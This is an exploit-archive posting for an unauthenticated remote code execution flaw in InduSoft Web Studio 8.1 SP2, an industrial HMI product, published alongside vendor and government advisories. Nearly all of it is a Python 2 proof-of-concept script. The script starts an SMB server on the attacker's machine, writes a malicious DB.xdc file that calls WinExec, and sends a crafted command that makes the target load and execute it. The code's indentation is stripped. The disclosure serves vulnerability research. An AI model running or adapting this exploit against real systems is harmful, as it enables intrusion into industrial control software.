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Indusoft Web Studio 8.1 SP2 Remote Code Execution

Indusoft Web Studio 8.1 SP2 Remote Code Execution
Posted Feb 11, 2019
Authored by Jacob Baines

Indusoft Web Studio version 8.1 SP2 suffers from a remote code execution vulnerability.

tags | exploit, remote, web, code execution
advisories | CVE-2019-6543, CVE-2019-6545
MD5 | cada8abc8cc2c69b59c84d5039d2b6f7

Indusoft Web Studio 8.1 SP2 Remote Code Execution

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##
# Exploit Title: Indusoft Web Studio Unauthenticated RCE
# Date: 02/04/2019
# Exploit Author: Jacob Baines
# Vendor Homepage: http://www.indusoft.com/
# Software http://www.indusoft.com/Products-Downloads/Download-Library
# Version: 8.1 SP2 and below
# Tested on: Windows 7 running the Web Studio 8.1 SP2 demo app
# CVE : CVE-2019-6545 CVE-2019-6543
# Advisory:
https://sw.aveva.com/hubfs/assets-2018/pdf/security-bulletin/SecurityBulletin_LFSec133.pdf?hsLang=en
# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-19-036-01
# Advisory: https://www.tenable.com/security/research/tra-2019-04
##
import argparse
import threading
import socket
from struct import *
import time
import sys

from impacket import smbserver

##
# The SMB Server function. Runs on its own thread.
# @param lip the listening IP address
##
def smb_server(lip):
server = smbserver.SimpleSMBServer(listenAddress=lip, listenPort=445)
server.addShare('LOLWAT', '.', '')
server.setSMBChallenge('')
server.setLogFile('/dev/null')
server.start()

##
# Converts a normal string to a utf 16 with a length field.
# @param s the string to convert
##
def wstr(s):
slen = len(s)
s = s.encode('utf_16_le')

out = '\xff\xfe\xff'
if slen < 0xff:
out += pack('<B', slen) + s
elif slen < 0xffff:
out += '\xff' + pack('<H', slen) + s
else:
out += '\xff\xff\xff' + pack('<L', slen) + s

return out

if __name__ == '__main__':

top_parser = argparse.ArgumentParser(description='test')
top_parser.add_argument('--cip', action="store", dest="cip",
required=True, help="The IPv4 address to connect to")
top_parser.add_argument('--cport', action="store", dest="cport",
type=int, help="The port to connect to", default="1234")
top_parser.add_argument('--lip', action="store", dest="lip",
required=True, help="The address to connect back to")
args = top_parser.parse_args()

# Connect to the remote agent
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + args.cip + ":" + str(args.cport)
sock.settimeout(15)
sock.connect((args.cip, args.cport))
print "[+] Connected!"

# spin up the SMB server thread
print "[+] Spinning up the SMB Server"
smb_thread = threading.Thread(target=smb_server, args=(args.lip, ))
smb_thread.daemon = True;
smb_thread.start()

# drop the xdc file
print "[+] Creating the DB.xdc file"
xdc = open("./DB.xdc", "w+")
xdc.write(
"<?xml version=\"1.0\"?>\n"
"<Connection>\n"
"\t<ConnectionString>{WinExec(\"calc.exe\")}</ConnectionString>\n"
"\t<User></User>\n"
"\t<TimeOut>2</TimeOut>\n"
"\t<LongTimeOut>5</LongTimeOut>\n"
"\t<HostName>127.0.0.1</HostName>\n"
"\t<TCPPort>3997</TCPPort>"
"\t<Flags>0</Flags>\n"
"\t<RetryInterval>120</RetryInterval>\n"
"</Connection>\n")
xdc.close()

print "[+] Sending the connection init message"
init_conn = "\x02\x31\x10\x31\x10\x38\x10\x31\x10\x31\x03"
sock.sendall(init_conn)
resp = sock.recv(1024)
print '<- ' + resp

# do a basic validation of the response
if (len(resp) > 0 and resp[len(resp) - 1] == '\x03'):
print "[+] Received an init response"
else:
print "[-] Invalid init response. Exiting..."
sock.close()
sys.exit(0)

# Craft command 66
cmd = wstr('CO') # options: EX, CO, CF, CC
cmd += wstr('\\\\' + args.lip + '\\LOLWAT\\DB') # file to load
cmd += wstr('')
cmd += wstr('')
cmd += wstr('')
cmd += wstr('lolwat')
cmd += pack('<L', 0x3e80)
cmd += pack('<L', 0)
cmd += pack('<L', 100)
cmd = '\x02\x42' + cmd + '\x03'

# Send it to the agent
print "[+] Sending command 66"
sock.sendall(cmd)

print "[+] Grabbing the command response"
resp = sock.recv(1024)
print '<- ' + resp
if resp.find("Format of the initialization string does not conform to
specification starting at index 0".encode('utf_16_le')) != -1:
print '[+] Success! We received the expected error message.'
else:
print '[-] Unexpected error message. Something went wrong.'

print '[+] Disconnecting'
sock.close()
print '[+] Wait while the agent disconnects from the SMB server...'
sys.exit(0)

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